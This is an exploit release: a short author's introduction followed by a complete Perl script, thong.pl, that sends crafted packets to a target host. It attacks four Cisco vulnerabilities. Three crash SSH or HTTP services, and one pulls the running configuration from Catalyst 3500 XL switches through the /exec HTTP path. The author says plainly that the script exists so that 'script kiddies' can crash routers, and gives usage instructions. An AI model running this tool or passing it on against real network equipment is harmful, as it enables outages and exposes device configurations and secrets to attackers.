`Written by hypoclear - http://hypoclear.cjb.net
Thong-th-thong-th-thong.pl AKA thong.pl is a PERL script
which automates several attacks against various Cisco products.
To be specific:
12-13-00 - Cisco Catalyst ssh Protocol Mismatch DoS Vulnerability
11-28-00 - Cisco 675 Web Administration Denial of Service Vulnerability
10-26-00 - Cisco Catalyst 3500 XL Remote Arbitrary Command
10-25-00 - Cisco IOS Software HTTP Request DoS Vulnerability
You can find full descriptions of these vulnerabilities on
www.securityfocus.com. If you read them and realize that they
are all lame vulnerabilities, and are wondering why I wrote exploit
scripts for them, this is why:
1. I wanted to write an exploit for a Cisco product and name it
after the "Thong Song". (Thanks to Ranger for giving me such lame ideas)
2. Every vulnerability should have an exploit script, so lame script kiddies
can crash routers, etc. with the best of them.
3. I haven't released any security related stuff in a while (although
this can hardly be considered a release).
Well that's about all, have fun, and most importantly check my disclaimer
on my site (hypoclear.cjb.net) before usage. I may add some other Cisco
exploits to this, or I may not. If you have any constructive comments
email them to [email protected].
usage: ./thong.pl -h <host>
After using the exploit either ping your host, or check to see if the
service crashed. (Assuming that it is meant to crash).
If it didn't work, try another option in the program.
---begin cut---
#!/usr/bin/perl
use IO::Socket; use Getopt::Std;
getopts('h:');
if (defined $opt_h)
{
$HOST = $opt_h;
$PORT;
$STRING = "";
$menu_opt = "";
menu();
computeOption();
exploit();
}
else {print "\n\n usage ./thong.pl -h <host>\n\n"}
sub menu
{
print "\n\n DATE VULNERABILITY
1. 12-13-00 - Cisco Catalyst ssh Protocol Mismatch DoS Vulnerability
2. 11-28-00 - Cisco 675 Web Administration Denial of Service Vulnerability
3. 10-26-00 - Cisco Catalyst 3500 XL Remote Arbitrary Command
4. 10-25-00 - Cisco IOS Software HTTP Request DoS Vulnerability
Enter Option: ";
$menu_opt = <STDIN>;
chomp ($menu_opt);
}
sub computeOption
{
if ($menu_opt == "1"){$PORT = 22; $STRING = "this ain't SSH";}
elsif ($menu_opt == "2"){$PORT = 80; $STRING = "GET ? HTTP/1.0\n\n";}
elsif ($menu_opt == "3"){$PORT = 80; three();}
elsif ($menu_opt == "4"){$PORT = 80; $STRING = "GET /error?/ HTTP/1.0\n\n";}
else {print "Select a real option!\n"; menu();}
}
sub three
{
print "Enter file to read or enter D for default (/show/config/cr): ";
$key = <STDIN>;
chomp ($key);
print "\nGetting $key...";
if (($key eq "D")||($key eq "d"))
{
print "\nGetting /show/config/cr...\n";
$STRING = "GET /exec/show/config/cr HTTP/1.0\n\n";
}
else
{
print "\nGetting $key...\n";
$STRING = "GET /exec$key HTTP/1.0\n\n";
}
}
sub exploit
{
print "\n\ntrying to exploit $HOST...\n";
$SOCKET = IO::Socket::INET->new(PeerAddr => $HOST,
PeerPort => $PORT,
Proto => "tcp")
|| die "Couldn't connect to $HOST\n";
print "\n$STRING\n";
print $SOCKET "$STRING";
if ($menu_opt == 3){while (<$SOCKET>){print}}
close($SOCKET);
}
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